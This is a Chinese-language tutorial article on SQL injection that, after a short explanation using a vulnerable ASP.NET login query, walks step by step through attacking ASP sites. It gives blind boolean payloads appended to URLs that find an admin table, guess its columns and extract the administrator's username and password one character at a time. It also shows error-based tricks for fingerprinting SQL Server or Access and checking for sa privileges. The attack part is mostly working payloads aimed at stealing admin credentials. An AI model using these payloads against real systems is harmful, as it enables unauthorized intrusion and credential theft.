求知 文章 文库 Lib 视频 iPerson 课程 认证 咨询 工具 讲座 Modeler   Code  
会员   
 
  
 
 
     
   
分享到
什么是SQL注入式攻击
 

发布于2013-7-5

 

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。常见的SQL注入式攻击过程类如:

⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。

⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子:

System.Text.StringBuilder query = new System.Text.StringBuilder(
"SELECT * from Users WHERE login = '")
.Append(txtLogin.Text).Append("' AND password='")
.Append(txtPassword.Text).Append("'");

⑶ 攻击者在用户名字和密码输入框中输入"'或c'=c"之类的内容。

⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的 SQL命令变成:

SELECT * from Users WHERE login = ''  or c' =c' AND password = '' or c'=c'。

⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。

⑹ 由于SQL命令实际上已被注入式攻击修改,已经不能真正验证用户身份,所以系统会错误地授权给攻击者。

如果用户的帐户具有管理员或其他比较高级的权限,攻击者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表。

(对于这里有些名词如果你不太了解,请你翻阅以前的教程)

今天我们来说个很简单的用新闻页面的""&request 漏洞做的注入

在地址栏输入:and 1=1

查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表

在地址栏:

and 0<>(select count(*) from admin)

返回页正常,假设成立了。

下面来猜猜看一下管理员表里面有几个管理员ID:

and 1<(select count(*) from admin)

页面什么都没有。管理员的数量等于或者小于1个

and 1=(select count(*) from admin)

输入=1没显示错误,说明此站点只有一个管理员。

下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。

and 1=(select count(*) from admin where len(username)>0)

猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的
user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu

用户名称字段猜解完成之后继续猜解密码字段

and 1=(select count(*) from admin where len(password)>0)

password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧

我们已经知道了管理员表里面有3个字段 id,user,password。

1、id 编号

2、user 用户名

3、password 密码

下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来

先猜出长度!

and 1=(select count(*) from admin where len(user)<10)

user 字段长度小于10

and 1=(select count(*) from admin where len(user)<5)

user 字段长度不小于5

慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确

and 1=(select count(*) from admin where len(user)=6)

下面猜密码

 and 1=(select count(*) from admin where len(password)=10)

猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了

下面该做的就是把他们拆开来一个一个猜字母

and 1=(select count(*) from admin where left(user,1)=a)

返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了
开始猜解帐号的第二位字符。

and  1=(select count(*) from admin where left(user,2)=ad)

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

其实猜出了前几个字母你就自己可以想像了,用到社会工程学了哟~,比如猜到了ad ,你就可以猜了

administrator,or ,admin,or ,adminstra.......这样猜的效率比较高哟!

工作还没有完,别忙着跑了,还有10位密码,呵呵

and 1=(select count(*) from admin where left(password,1)=a)

经过无数次错误之后(首先大家得有个准备SQL注入有时候就是很烦的)

htttp://host/news/article_view.asp?id=2499
and 1=(select count(*) from admin where left(password,10)=administra)

结果密码是administra

前面我们说可以通过一些返回信息来判断SQL注入,但首先不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

那么,什么样的测试方法才是比较准确呢?答案如下:

① http://host/showdetail.asp?id=49

② http://host/showdetail.asp?id=49 ;;and 1=1

③ http://host/showdetail.asp?id=49 ;;and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,下面我们在来坐分析。

不过我们先来说一个问题:

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://host/showdetail.asp?id=49 ;;and  user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://host/showdetail.asp?id=49 ;;and (select count(*)  from sysobjects)>0

http://host/showdetail.asp?id=49 ;;and (select count(*)  from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://host/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启 IIS错误提示时的验证。

 
相关文章

iOS应用安全开发,你不知道的那些事术
Web安全之SQL注入攻击
移动APP安全在渗透测试中的应用
从Google备份互联网看“数据安全”
 
相关文档

web安全设计与防护
互联网海量内容安全处理技术
黑客攻击与防范技术
WEB黑盒安全检测
 
相关课程

WEB网站与应用安全原理与实践
web应用安全架构设计
创建安全的J2EE Web应用代码
信息安全问题与防范
 
分享到
 
 


iOS应用安全开发
Web安全之SQL注入攻击
APP安全在渗透测试中的应用
初探PHP的SQL注入攻击的技术
从Google备份看“数据安全”
更多...   


WEB网站与应用安全原理与实践
web应用安全架构设计
创建安全的J2EE Web应用代码
注册信息安全专业人员(CISP)
信息安全管理
信息安全问题与防范


中国银行 信息安全技术及深度防御
Web应用安全架构、入侵检测与防护
某财税领域知名IT服务商 Web安全测试
普瑞克斯 web安全设计、测试与优化
北京和利时 性能和安全性测试
SUN中国工程研究院 JSF框架、安全
更多...